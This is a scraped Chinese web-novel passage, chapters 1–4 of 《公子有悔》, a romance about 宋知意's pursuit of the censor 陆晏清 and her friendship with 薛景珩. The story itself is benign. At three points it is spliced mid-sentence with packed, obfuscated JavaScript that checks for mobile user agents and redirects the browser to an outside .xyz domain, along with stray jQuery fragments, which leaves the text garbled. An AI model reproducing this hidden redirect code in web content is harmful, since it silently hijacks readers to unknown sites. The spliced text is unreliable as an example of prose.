《公子有悔》 1. 陆二哥哥 芒岁急匆匆进了院子，对秋千架上逗猫的宋知意说：“姑娘，打听到了，一会儿小陆大人就进城了！” 宋知意喜得直站起来，才抱着的狸花猫也通人性有眼色，跳到地上伸个懒腰跑走了。宋知意忙忙转身回屋子，边交代：“快，给我好好梳妆打扮，我好去接陆二哥哥。” 芒岁亦步亦趋，面子上倒有些难为情：“小陆大人先要入宫面见圣上，不知道多早晚才出来，姑娘不必如此心急……” 宋知意直接坐到梳妆凳上，对镜自顾，口头上颇不以为意：“没关系，我去陆家等他就是，我等得起的。” 宋知意拿定的主意，别人从来是劝不动的，芒岁便点点头，替她收拾打扮起来。 宋家和陆家，在一条街上住着，隔得不远，步行即可，于是宋知意带着芒岁出门。半道上碰见她父亲宋平，宋平叫住她问：“如意，你这风风火火的，打算去哪？”如意是她的小名。 宋知意如实相告。 宋平笑眯眯道：“那敢情好，就是别空着手去。”说时令下人去书房里取了一早备好的灰鼠毫笔，装在一个窄长锦匣子里，“陆二公子爱好文墨的，定使得上。如意，你带上，届时赠予他。” 宋知意欢欢喜喜接了，同他挥手告别。 不多时，陆府的烫金牌匾映入眼帘，一块照进眼底的还有一蜜合色纤弱背影，宋知意顿时认出来，垮了脸道：“真是不巧，偏撞上了她。” 她所指的，乃是陆二公子陆晏清的表妹崔璎，从小没了父母，这些年寄住在陆家，深受陆家人照料，当然，更得陆晏清的照拂。 这崔璎，身子瘦弱，性子也文弱，逢人做事温温柔柔，跟张扬跋扈的宋知意简直天差地别。人们都爱女孩子文静娴雅，自然欢迎崔璎，疏远宋知意，背地里总拿她们俩对比，说是对比，其实是褒前贬后。为此，宋知意对她也颇有些看不顺眼。 崔璎的贴身婢女绘柳望见不远处的宋知意，抿一抿嘴，低声说：“姑娘，那宋家姑娘又来了。” 一个“又”字，表明绘柳烦透了宋知意，同时点出宋知意隔三差五往陆府打扰的事迹——她喜欢陆晏清，陆晏清则屡次三番表示对她无意，她置若罔闻，依然固执己见，日日缠着他。这一个月他奉旨南下查案，陆府门前才清净了些。刚消停几日，又找上门来了，能不叫人眼乱心烦么？ 崔璎会意，回身盈盈走过去，含笑道：“想必宋姐姐也是听说了表兄今日回京，前来探望的吧？可表兄现在宫里，不知何时完事……” 宋知意板着脸说：“那没事，我进去等。” 崔璎本意是劝她离开，岂料她全不在乎，便没了法子，笑说：“那宋姐姐请随我来吧。” 宋知意反驳：“不用，我去陆大嫂嫂那坐一坐。” 陆晏清头上有个哥哥，名陆晏时，任松山书院的山长，秉性温润儒雅，同其妻周氏青梅竹马，至今成婚十年，育有一子一女，感情和睦，夫妻恩爱。 周氏性格爽朗，不似旁人厌恶宋知意，反而对她亲切有加。两人处得胜似亲姐妹。 遭她呛了，崔璎有点尴尬，噤声目视她朝周氏的住处去了。 绘柳为主鸣不平：“也不知她神气什么，还当这地方是宋家，由着她胡作非为啊。” 崔璎制止她：“行了，姨母恐怕等不耐烦了，快走吧。” 且说宋知意一路来至东跨院，看见廊下周氏坐着个小杌子，牵着女儿给扎辫子呢。“陆大嫂嫂。” 瞧是她，周氏也不急，双手只管辫子，眼神带笑道：“算着你也该来了，这就来了。” 就着丫鬟搬来的小凳子坐定，宋知意笑嘻嘻道：“陆二哥哥好不容易回来，我当然操着心，不能误了。也不晓得皇上几时才肯放他出来。” 言下，辫子编完，周氏摸平女儿头顶的碎发，轻推她随便去玩，继而说：“你就是猴急，左不过天黑前指定回家。你既来了，晚上留下吃饭吧，有什么想说的想送的，饭后你跟二弟私下了结。” 宋知意正是这心思。 陆晏清比预料的早回来，宋知意迫不及待迎出府门，目之所及尽是一袭墨绿官服随风翻飞的画面，一时竟痴了。 春来擎着一顶官帽，乜斜窥视陆晏清的神色，发觉其剑眉微皱，俨然疲惫中夹着一丝嫌恶，又见其侧开脚步，绕过宋知意上了石阶。春来不敢多言，俯首追随。 “陆二哥哥！”分别一月，总算见着朝思暮想之人，宋知意岂容他从自己眼皮子底下溜了，扭头快步追上。 陆晏清步伐未停，走得很快，宋知意要小跑着方不落后。 “我与宋姑娘非亲非故，麻烦宋姑娘今后不要再那样唤我了。”她的热切，他视若无睹。 她充耳不闻，反问：“陆二哥哥，你离京这段日子，累不累啊？有没有生病？没受伤吧？” 他目不斜视，不予理睬。 她不为冷落所挫败，捧出临出门前宋平交给她的毛笔，道：“陆二哥哥，这里面是上好的毛笔，你打开看看，合不合心意。” 他仍旧不理会。 她沉不住气，往前横跨一大步，挡在他身前，托高那锦匣，下巴亦仰起来，半是撒娇半是讨好道：“陆二哥哥，你就看一看，好不好？” 陆晏清就是烦她摆着一副娇憨面容却三番五次胡搅蛮缠，然启齿训她斥她，不合他的教养，遂冷冷道：“烦宋姑娘让开，家父家母在等我。” 宋知意不依不饶：“陆二哥哥，就看一眼，不耽搁什么的。” 她频频油盐不进的举止，终于把陆晏清惹恼了，没压着眼皮，沉声道：“宋姑娘，不要再唤我‘陆二哥哥’，我不喜欢。另外，我不缺笔，宋姑娘收回吧。” 认识几年来，他头一次做出如此阴沉的表情，宋知意略感茫然无措，举着匣子的手不上不下，僵在半空，适才灿烂的笑变了味，流露着尴尬：“既然陆二……你不喜欢，我改就是了。可是这笔，请你务必收下，是我爹的一番心意。” 闻得出自宋平之手，陆晏清越发抗拒。 宋平是什么人？商贾出身，京城数一数二的暴发户，仰仗着二十多年前为南边水患捐银子的功劳，在朝里挣了一官半职，经过之后的苦心钻营，现今也爬到了五品的位置。 这且不知足，自从其女对陆晏清表露好感开始，宋平趁势把如意算盘打到了他身上，三天两头借其女之手馈赠他各种东西，企图趁陆家之势，更上一层楼。 陆晏清作为御史台监察御史，监察文武百官，但碍于宋平老奸巨猾，每每通过宋知意传达好意，根本无伤大雅，实在拿他没办法，唯好铁面无私，直言拒绝。 似宋平之流，以刚正不阿闻名的陆晏清委实不屑一顾。 “承蒙好意，恕我不能收。”陆晏清终于抬腿走人，留下宋知意握着匣子，满心委屈。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533292|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 芒岁拣顺耳的安慰她：“姑娘别伤心，小陆大人在朝为官，又领着监察御史的重任，收送东西什么的最为敏感了，自然得谨慎些，以身作则。” 宋知意还能怎么想，想多了自己又难过不甘，只有听芒岁的，整理心情，随后去往陆家花厅，厚着脸皮蹭这场接风宴，继续和陆晏清套近乎。 陆家举家围坐，周氏同她要好，招手喊她坐自己身边。此位置，右手是崔璎，对面是墨色常服的陆晏清。 陆家老爷陆临及他夫人胡氏倒不算嫌弃宋知意，单觉得她一个女孩家，成日在外面抛头露面不大合适，至于她将中意陆晏清吵嚷得尽人皆知这事，他们也仅是感觉好笑，并不打算插手管，毕竟是年轻人之间的纠葛，如何处理、将来如何，陆晏清亦自有分寸。他们尊重他的意愿，兼而相信他的料理事务的能力。 大家举杯祝过酒后，崔璎又斟一盅，起身对陆晏清，娇俏道：“表兄，我单独敬你一杯，愿表兄来日身体康健，官运亨通。” 陆晏清神容淡淡的，站起来领了崔璎的祝福。 二人和谐的互动，尽入宋知意眼底，她闷闷不乐，接下来的一顿饭也吃得心堵。 结束以后，陆晏清还有精力，合计回书房阅览公文。崔璎眼尖，跟在后头出来，轻声叫住：“表兄。” 陆晏清果然站定。 崔璎摸出一个绣着竹子的锦囊，递出手去：“那会见表兄的扇坠子旧了，便趁这程子做了一个，希望表兄喜欢。” 陆晏清垂手昂立，并无去接的迹象。“那些小玩意，家里多的是，你犯不着专门受累的。” 崔璎嫣然一笑：“不累的，反正我每日也要做针黹，顺手的事。” 陆晏清道：“我那个扇坠子是故友所赠，意义不同，不好就换，表妹不若自己留着用吧。” 崔璎欲争取，他却步月走了。崔璎忽然觉得，那锦囊分外沉，分外冰，几乎要承托不住了。 “姑娘，夜深风凉，你体弱，禁不住吹的，回去吧。”绘柳心疼主子，进言规劝。 默默收起锦囊，崔璎点点头离开。 远处的抄手游廊下，周氏拉过宋知意的手，拍一拍，道：“宋妹妹，瞧你一晚上垂头丧气的，你想开些，横竖在我这，我是真心实意盼望你嫁到我们家的。” 宋知意勉生欢喜道：“多谢大嫂嫂站我这边。” 周氏和善回笑，亲自送她出角门，怕她和芒岁结伴回家不安全，又安排了马车一路护送。 车子上，宋知意郁郁道：“我叫他，他一下也不带停的，换成崔璎，他倒是耐心十足。” 芒岁不知如何开导，正思忖说辞，却又听她念叨：“如果他欣赏崔璎那样的，那……我照着学，他应当能多看我一眼了吧。” 芒岁懵懵懂懂道：“姑娘，你什么意思，我听不太明白……” 当下宋知意没解答，及回家后，见了宋平，破天荒提出要请教引嬷嬷到家学习礼仪，直惊得芒岁目瞪口呆，宋平也怀疑见了鬼，犹豫着没出声。 “爹，你没听错，我就是要学，不止要学，还要看书练字。”宋知意一脸笃定。 宋平一贯宠她，有什么要求总是第一时间答应，眼下耳闻这席言论，到底岔开话：“天晚了，你先回屋睡吧，改明儿再说。”末了吩咐芒岁伺候姑娘回房。 宋知意脑子乱乱的，姑且打消追究的念想，落寞离去。 2. 青梅竹马 翻来覆去想了一宿，宋知意坚定主意，晨妆时对芒岁说：“不入虎穴，焉得虎子。我决定了，我要改变。我偏不信了，我堂堂正正的，能叫那个崔璎比下去！” 她越说越亢奋，伸手猛拍桌，后边芒岁没防备，在她脑袋上捣鼓的手一闪，扯疼她头皮，这才令她镇定下来。 芒岁连声道歉，宋知意捂着头，盯着镜子里自己龇牙咧嘴的面容，没怪芒岁，反暗暗立誓：崔璎能办到的，我也可以，还能压她一头！ 折腾完妆发，宋知意风风火火去书房寻宋平，她知道宋平最近因病告假。 宋平正面对昨晚原样揣回的灰鼠毫笔发呆，而开门的动静霎时把他叫醒。他看着来势汹汹的女儿，说：“太阳打西边出来了，你这懒虫起这么早？” 宋知意不理会他的玩笑，径直到桌前，两手撑在桌沿，饱含认真地俯视他：“爹，我昨晚没傻，是严肃的，就给我请个嬷嬷来吧。” 宋平发福的脸布满狐疑：“如意，你长到今天十六岁，从没被谁约束过，真给你弄来了，你能受得了几天？快别说笑了。闲得慌的话，出去转转，或者等郡主家那小少爷来找你解闷。” 说曹操曹操到。 下人们点头哈腰让进一个十六七岁的少年，一身琥珀色肩袖锦袍，头戴一条双龙戏珠红抹额，头发高高束起，拢成马尾状，走路生风，身形飘逸。 “我说呢，去你院里没人，合着是钻这了。”讲话的就是宋平口中郡主家的小少爷，名叫薛景珩，今年十六岁，和宋知意从小玩到大的，是名副其实的青梅竹马。 宋平赶紧招呼人：“薛小少爷，你来得正好，快领这丫头上街透透风，省得胡思乱想，再闹出毛病来。” 宋知意矢口辩驳：“我哪里胡思乱想，我是正经的！爹，你怎么就不信呢？” “什么正经的，我就三天没来，你又想出什么花招了？”似往常般，薛景珩仗着身高优势，揉一揉她头顶，算是安抚。 才梳好的头发，又给他弄乱了，宋知意心里烦，举手打开他：“你不是被你母亲关在家里训话来着，你还敢出来？” 相当日，祥宁郡主眼见着儿子大了，却不学无术，没个正形，终日和宋知意厮混，郡主便狠一狠心，禁了他的足，勒令他此后将心思放在读书上，不许宋知意来往，不应就不解禁令。 读书可以，不同宋知意交往，断断不行。于是乎薛景珩以绝食为筹码跟郡主死磕到底。三天下来，终究是当母亲的心软，松了口。 记起过去三日的抗争，薛景珩笑笑：“你也不看我是谁？我母亲再厉害，也拗不过我去。” “得了吧，贫嘴贱舌的。”宋知意很是嫌弃道，随后推搡他出门，“我今日有要紧事，顾不上理你，你自个儿逍遥去吧。” 薛景珩不乐意，高高地拦在门口，挑眉嗤笑：“你有哪门子要紧事？再要紧要紧得过我？” 宋知意不留情地打了下他肩膀，没好气道：“你能不能不要添乱了？赶快躲开。” 薛景珩笑意不减，慢条斯理道：“你藏着掖着，我也知道——不就是陆晏清回来了，你昨儿又巴巴儿地到陆家露脸献殷勤了？结果怎么样，一准触霉头了吧？” 昨日的难堪被戳穿，宋知意面色铁青，眼风化作刀子，狠狠剜在他脸面上。“薛云驰，你够了，当心我撕烂你的嘴！”云驰是他的表字，她习惯带上姓称他表字。 薛景珩满不在乎，眼睛瞄准她叉腰的手腕，一把掐住，扯人往外走，一面告别宋平：“宋叔，我带她出去散心，晚饭前送回来，你放心。” 宋平笑眯眯目送。 薛景珩一直把人塞上马车，自己随即拨帘子入内坐稳，看她气得面红耳赤，摇开手里的折扇，照着她微微扇风，一边好脾气哄着：“刚才是我不对，今儿我请客，去会云楼大餐一顿，再去万宝阁挑你想买的，不论多少，我钱管够。可以消气了不？” 宋知意翻个白眼：“你们郡主府财大气粗，我们家虽不及你们，却也不缺那些钱。你让停车，我要回家去。” 薛景珩非但不顺着她，而且命令车夫再赶快些。 “你这人，有病是不是？”车子驱得似疾风，整个车身摇摇晃晃，宋知意不得不扒紧车窗，保持平衡。 薛景珩一张俊脸上满是得意，很是欠揍：“我没病，是你有病——为一个眼里始终看不见你的男人伏低做小，处处作践自己。我就想不通了，那陆晏清除了人样出彩些、脑子灵光些，哪一处比我强？弄得你好几年五迷三道的，更是理直气壮地见色忘友。” 车内颠簸，宋知意脸色难看，好似快吐了，薛景珩转而交代车夫慢行。 靠在角落里缓了缓，宋知意说：“你懂什么？他很好，好得不得了。” 薛景珩调转折扇，朝着自己扇，目色不屑：“究竟哪里好，你说说看。” 宋知意当真掰着指头细数起陆晏清的优点来，诸如工作能力强、待人接物优雅之类的。 “停。”薛景珩打断她，“这些全是空的，不做数。你倒说说，他待你好在哪里？” 宋知意垂眸，半晌方道：“十岁那年，我背着人上树玩，下树的时候不慎滑了一下，崴了脚，凑巧他路过，他亲自扶我去一边石头上坐着，给我轻轻揉脚，然后叫他的小厮回家去取伤药，后来还答应替我保守秘密。” 薛景珩嘲笑：“光揉个脚送个药，值得你记这么些年？那我从小到大替你收拾多少烂摊子，怎的不见你对我感恩戴德？” “不止这个。”宋知意辩解，“你也晓得，别人都看不起我们家的商人背景，总有闲言碎语的，也是十岁那年，我气愤不过，逮着嚼舌根子的哪几个人理论，他们人多势众，我吵不过，他们呢，嫌我事多，谋划着打我一顿，是陆二哥哥撞见，及时制止，为我说话，教育他们。他们不敢招惹他，灰溜溜散了。我呢，越想越来气，没出息地哭了，也是他看见，予我他随身的帕子叫我擦泪，还安慰我不要因为那些不好的人哭鼻子……” 那个傍晚，微风不燥，余辉柔和，萦绕在耳畔的话语温暖似春水，沁人心脾，她至今历历在目。少女情思，即是从那时起萌发的。 薛景珩忽然凑近，直直地盯着她坠入记忆长河的眼，道：“我也帮你挡了大大小小的灾祸，你怎么不多想想我呢？啧，宋如意，你真没良心。” 宋知意伸手推他起开：“别贫了，你跟他不一样，老比什么。” 薛景珩顺势坐回去，揭开窗帘一角瞅瞅，会云楼近在眼前。“到地方了，下吧。” 他先行一步，在路边接住宋知意的小臂，有心扶她，架不住她不承情，撇开他，无视他，自行着地。 二人一前一后进了酒楼。小二远远瞭见这对常客，笑嘻嘻引去二楼雅间。 薛景珩出手阔绰，点了一桌子菜，两人吃饱喝足，歇够了，就上街游逛。薛景珩时不时问她要不要这个那个，即便她不感兴趣，他也买下来，近万宝阁前时，他小厮文进两只手拎着大包小包，累出一脑门子的汗。 “逛挺久，我觉得乏了，顺路送我回家吧。”宋知意心下仍然惦记请教引嬷嬷那茬子。 “来都来了，不买点，岂不亏了？”薛景珩不由她，拉她进去。 恰巧，快入夏了，周氏、崔璎陪伴陆夫人前来万宝阁挑选裁制夏衣的料子，现下聚在二楼慢慢逛呢。 耳边隐隐传来一阵嬉笑拌嘴声，崔璎不禁侧目而视，只见宋知意上楼来，背后跟着一个玉面长身公子哥儿，两人脸颊上轻松含笑。 崔璎认得那薛景珩，常听说他整日不带烦地围着宋知意转圈，对其他人视而不见，如今算是亲眼目睹了。 崔璎对周氏说：“嫂嫂，你瞧，宋姐姐和薛小少爷也过来了，赶巧了。” 周氏探出半个身子，果真和漫无目的闲看的宋如意对上视线，忙招手呼唤：“宋妹妹，快来。” 宋知意加紧步调而来，亲昵挽上周氏的胳膊，和她们打招呼。 “好你个宋如意，别人唤一声，跟个兔子似的一眨眼就没人了。”薛景珩追来，幽怨道。 出于礼貌，崔璎冲他点点示意：“薛小少爷。” 薛景珩回以颔首，自然立于宋知意身侧，说：“你东西还没挑呢，天儿快黑了，抓紧吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533293|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋知意说：“我本就没哪样想要的，你别等我了，反正我和陆大嫂嫂她们顺路，过会嫂嫂她们捎我一程，你自个儿走就成。” 这块的绫罗绸缎，不对陆夫人心思，陆夫人便去另一头展眼观望了。崔璎自知宋知意不待见她，留着无益，随陆夫人同行，帮着参谋。 薛景珩气笑了：“你数数，一个白天下来，你撵我几次了。出来之前，我和宋叔保证过，平平安安送你到家，我半路撤了，像什么话。” 周氏早有耳闻这薛、宋交情匪浅，又见薛景珩颇具怨念，而归根结底是他们俩共同出来的，有个先来后到，自己半道截了宋知意未免不厚道，于是乎笑说：“宋妹妹，这也是个理，况且我们这肯定是迟了，你不妨仍同薛小少爷一起。” 话音刚落，楼下忽起骚乱，个个儿抱头鼠窜，尖叫呐喊。 “这是怎么了？”宋知意怔怔然，倒是薛景珩警觉，反应快，先擒着她胳膊带到自己身边，再护着周氏往里面走，跟陆夫人崔璎回合，接下来叮嘱文进打起十二分精神看护众人周全，他则下楼一探究竟——文进身手不凡，可以一打十，安他在此，薛景珩放心。 “薛云驰！”底下喊叫持续，宋知意忐忑不安，抓住他袖子。 “你好好和大家待着，千万别乱跑，我快去快回。”薛景珩声音沉着。 “那……那你不可鲁莽，一定小心行事。” “记下了。” 试探着下了楼，却见右手边一排货柜前，一个五短身材、头发凌乱的男人举刀挟持一个妇人，他前面围堵着官兵，厉声喝他勿做傻事，速速放人。 “你们退出去，准备好车马，我安全离了城，就放了她。否则——”那男人收紧环在妇人脖子上的胳膊，将刀尖向妇人项见逼近半寸，凶神恶煞一样，“老子和她同归于尽！” 一时，气氛僵持不下。 剑拔弩张之下，几个官兵簇拥进一个绯衣男子，正是陆晏清。一炷香前，他结束手头公务，自御史台归家，途经万宝阁，发觉异样，得知是一个贼，为躲避官兵追捕，钻到万宝阁里藏身，后见行踪暴露，干脆破罐子破摔，挟持人质以求脱身。 那贼气焰嚣张，把个人质勒得面皮紫胀。见状，陆晏清二话没有，抽出随身匕首，抛掷出手，直刺中那贼左膀子。 一套动作，行云流水，干净利落，势如破竹。 那贼受痛，遭不住分了心神，众官兵趁机一拥而上，将其擒获，解救人质。 那厢薛景珩看骚乱平息，陆晏清掸掸衣袍，看样子是预备离开，故出声叫住。 陆晏清认识他，也对他与宋知意的关系有几分了解，思绪一动，对其意图有了猜测，负手昂扬站立，等待下文。 “陆大人是个聪明人，那我就开门见山了。”薛景珩小他三岁，个头却跟他相当，往日嬉皮笑脸的劲气收敛完全，仅余下严肃，气势上真不输他陆晏清，“宋知意那丫头倔，这几年给大人添了不少麻烦，我代她给大人赔个不是。此乃其一。其二，大人固然不喜她，冷淡她也属于快刀斩乱麻，但请不要看不起她，她父亲是她父亲，她是她。那丫头对着人没心没肺的，实际上心思弯弯绕绕的，总是偷偷地猜疑，完了省不了感伤。” 叫人劈头盖脸地教育，且是第一次，更休提对方是个毛头小子。陆晏清罕见地生出一丝不爽来，唇畔勾起浅显的笑，反问：“薛小少爷如此维护宋姑娘，是喜欢她么？” 薛景珩沉默以对。 “那看来我说中了。”陆晏清冷了脸色，口风一转：“你既心悦她，就应当说服她自尊自爱，而非对我颐指气使。我想，我对她已然仁至义尽了。” 听他堂而皇之斥责宋知意不懂自尊自爱，薛景珩怒从心头起，作势就要揍他。 “薛云驰，你要干嘛？！”话说宋知意在楼上左等右等不见薛景珩的面儿，而底下的吵闹归于平静，再忍不了，忙忙下来寻人，恰恰碰上他和陆晏清交恶的一幕，急急冲上前阻拦。 不愿让她难做人，薛景珩硬生生压下恶气，不顾她的满腔留恋，当即拽她跟陆晏清擦身而过，洋洋洒洒远去。 3. 嬷嬷授课 薛景珩脸面黑压压的，一言不发，明显动真格了，宋知意识趣，任凭他将自己摆布到车子上，赔笑道：“你怎么了，还好……吧？” 薛景珩捏着拳头搁在膝盖上，掀起眼帘瞥了她一瞥，仍旧静默。 吃了瘪，宋知意略感尴尬，沉思片刻，继续说：“你跟陆二哥哥起什么冲突了，那样大动干戈？” 薛景珩垂头不语。 薛景珩平日话很密，鲜少有闷不吭声的时候，可他生气归生气，总得有个因由吧？挑明白了，人也有安慰他的点，不明不白的，算怎么回事。宋知意也不跟他打哑谜了，冷笑道：“你是冲我来呢？那你说说清楚，我哪里讨你嫌了？” “我若坦白，你确定你承受得起？”薛景珩终于放弃缄默，举目正视她。 “再有什么，还能有你差点把拳头砸到陆二哥哥脸上去厉害？”宋知意硬气回怼。 “满口陆二哥哥，你是真的没救了！”记起当时陆晏清傲然一切的模样，再瞧瞧她毫无底线维护陆二的光景，薛景珩忍无可忍，音量立刻拔高几度。 “你说话就说话，吼什么？”宋知意没带怕的，柳眉倒悬，杏目圆睁。 “……宋知意，你眼瞎心盲，真是蠢到头了。”要把陆二那番话抖露出去，宋知意势必无法接受，她气性大，眼下在车上，莽撞起来保不齐直接跳车，薛景珩决计不能看她磕着碰着，更不忍心她伤心难过，想了又想，手指头紧了又紧，终归容忍下来，抱着胳膊，头倚靠在内壁上，侧过脸，不痛不痒损了她几句作罢。 既他存心作怪，宋知意也免了讨好之心，转脸无言。 车于宋家门前徐徐站停，以过去，薛景珩必定先跳下去回头搀扶她，今儿却没有，连分别之语一并省了，死气沉沉注视她摔帘子出去。 气哄哄回闺房，宋平差下人来叫吃晚膳，宋知意头闷在被子里回道中午吃撑了，不饿，下人如实传话，宋平便没计较，横竖芒岁厨艺也不赖，她若半夜饿了寻觅吃食，芒岁会伺候妥善的。 肚子里装着火气，宋知意翻腾大半夜，快四更天才勉强入睡。隔日果然日上三竿才睡醒起来。 宋平销假去衙门了，偌大的宋宅，无人管她。 论起来她也可怜，宋夫人生下她害了病，没俩月就撒手人寰了，宋平怜她小小年纪没了母亲，毅然决定不再续弦，生怕遇上厉害的后母作威作福，娇生惯养到如今。 外面人多鄙夷宋平奸诈狡猾，唯独就他待女儿这事上，无人挑嘴，纷纷说他丢掉的良心全使在女儿身上了。 昨日和薛景珩闹了别扭，心里不舒坦，也懒得动弹，就在家里老实呆着。 晚间宋平回来，父女俩一块吃饭时，宋平主动提起一个消息：“早晨下朝时，陆大人同我说，陆夫人打算从宫里请一位教引嬷嬷，专门教她外甥女以及平素来往亲厚的贵妇人家的姑娘们各种礼仪，也和皇后娘娘请示过了，这四五天就能安排妥帖。陆大人的意思是，咱们两家多年邻居，跟我提个醒，你有意愿过去的话，等定妥了就过去，毕竟是皇后娘娘恩典，机会难得。” 宋知意撇下筷子，眼中流光溢彩：“愿意，我一百个愿意！” 宋平本不舍得让她去宫里嬷嬷手底下受磋磨，但她百般乐意在前，到了陆家和陆晏清接触的机会多起来在后，胸中登时通透，欣然道：“你情愿，我依着你，可丑话说在前头：去了人家，到底不比自己家，把性子收着点，别给你爹我闯祸，陆家的门户，咱们得罪不起。” 宋知意拍着胸脯，信誓旦旦：“爹，你就款款地把心放肚子里，我指定安分，不给咱家里惹是生非。” 宋平笑逐颜开，宋知意跟着笑了。一时，饭厅里笑语连连，其乐融融，一派温馨。 宋知意盼着去陆家，才不是奔繁冗礼数的，在陆家能和陆晏清多多相处是主要目的，因此心内雀跃，白天盼，夜里盼，五日后黄昏，周氏的人造访，告知一切妥当，明日清晨去陆家西院报道。 得了准信，宋知意激动难耐，忙忙使唤芒岁翻出早就打点完的书包，里头是精心择选的笔墨纸砚，此外还有个布包，里头是些杂物：扇风凉快的扇子、饮水的杯子、描眉画眼的胭脂水粉小镜子，以及替换的香袋子——不似去学习，似去游玩的。 翌日，宋知意到了个早，周氏亲自领她去西院。略等了等，一块学的贵女们到齐。飞快扫了一遍，都是熟面孔，算上她自己和崔璎，一共六人。排好队，鱼贯而入厅内。 厅里陈设六张矮几，中间地上双手交叠站着个老嬷嬷，不苟言笑，简短地自我介绍是侍奉过太后娘娘的，姓何。随后令众人自己寻位子，跪坐。 其余人约好了似的，一股脑往前面坐，留给宋知意的是靠东边最后一个，紧挨着门。她不以为意，靠门透气，而且方便开小差，于是从从容容归坐。 何嬷嬷扫视大家，照惯例，先立规矩：“既然由我授课，那么我不管各位姑娘以前学过什么，又是怎么个法儿，今后一个月姑娘们就得听我的安排，照我的规矩办事；每七天考核一次，拔尖了没好处，但落后了要罚。各位姑娘可有异议？” 何嬷嬷授皇后之意出宫授课，轻慢不得，大家纵有疑问不满，也不敢表露，都摇头道没有。 “很好。”何嬷嬷点头，“今天第一堂课，不学旁的，只学插花。” 众人面面相觑，暗道不就是把花束插瓶里，样子摆顺眼些，有什么可学的，值得如此大费周章？ 宋知意谨记着宋平昨晚叮咛的，绝不发牢骚，绝不贸然出头，默默地观看下人逐一将花束花瓶呈上来，再侧耳听何嬷嬷的要求，随后沉吟着动手摆布起来。 崔璎坐她斜对面，一斜眼，正好看见她低头摆弄的认真相儿，心气十分不畅。 陆晏清仪表堂堂，才华横溢，多少人倾慕他，崔璎这个表妹也不例外。可恨别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533294|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人即便爱慕他，仅限于心里想想，而宋知意不一样，没皮没脸，仗着和陆家是邻里，又有周氏暗暗支持，天天上陆家来死缠烂打。 如今更便宜了，索性在陆家屋檐下游荡，合理地和陆晏清朝夕相处，崔璎无论如何也甘心不得。 越琢磨，胸闷气短通通找上来，崔璎悄悄告诫自己冷静镇定，后收回目光，全神贯注在花束上——不速之客已然赖下了，多思多虑无益，不妨专心致志用功，提升自己实力，让表兄好好看看自己的优秀，也让那宋知意认认清楚，自己较她强得可不是一星半点。 果然，崔璎天赋很高，何嬷嬷走动睃巡间，留意到了她的与众不同，微微颔首，同时注意到了才情普通却刻苦钻研的宋知意，也在心里对其多了分肯定。 半个时辰结束，众人停手，谦卑接受何嬷嬷的评点及指导。及在座六个人受教完毕，已值午时，何嬷嬷因放大家去吃饭，再歇一个时辰的午觉，下午继续。 其余人要么住得远不方便来回，要么同崔璎走得近，不愿回家，想借机和她谈天说地，偏偏宋知意，念着中午陆晏清不在，那自个儿待着跟那帮人搅和，纯属自讨没趣，便命芒岁收拾东西回家。 宋平记挂她往陆府听学之事，特意没在衙门里用膳，快马加鞭赶回家，还不嫌麻烦，亲自下厨做了她爱吃的几个菜，犒劳她。 饭桌上，宋平笑着问起上午的情况，宋知意大概说了遍。宋平道：“下午下了学，不着急回家，多跟大家熟悉熟悉。” 父女俩想一块去了，宋知意同意道：“是呢。不过我可对她们没兴趣，我是要等陆二哥哥，好把我今儿一上午费力装饰的花瓶拿给他过目。” 宋平突然记起一桩事，问：“近日怎么不见薛小少爷的面了，是不是你们俩又斗嘴负气了？” “别提他。我看他是疯了，那天出门还好端端的，回程莫名其妙地板着脸孔，对我冷嘲热讽，我问他，他就装神弄鬼的。”宋知意语气不佳，俨然心里的坎儿还没迈过去呢。 宋平道：“他不寻你，你就该抽空寻他。闹僵了不好。” 宋知意嫌他胳膊肘往外拐，直着眼说：“是我受了不明不白的冤屈，理应他向我低头道歉，依你的，竟反过来了。爹，你是明着偏心眼啊？” 从商人到五品官员，这些年宋平没少左右逢源，那薛景珩背后有个郡主娘，影响力非同一般，宋平难免有巴结奉承之意。 然则他不奢望更多的，但求撮合着两家小辈维持现阶的友谊，至于自家姑娘的终身大事，他打心眼里更加看好陆家。 宋平笑道：“薛小少爷对你对咱们家是顶顶用心的，有这份情谊，这次且让着他又有什么大不了的。如意，别犟了，改日或是去郡主家拜访，或是约他来家吃顿便饭，把话说开了，以后你们俩依然是好朋友。” 宋知意敷衍过去，埋头吃干净碗里的饭菜，漱口洗手毕，自回屋小憩了。 4. 廊下对话 下午是烹茶课，宋知意很不擅长，动作笨拙，不算意外地出了大差错：打翻了茶杯，手背还给烫着了，红肿了一片。 何嬷嬷忙暂停她的课，许她养利索了再来。 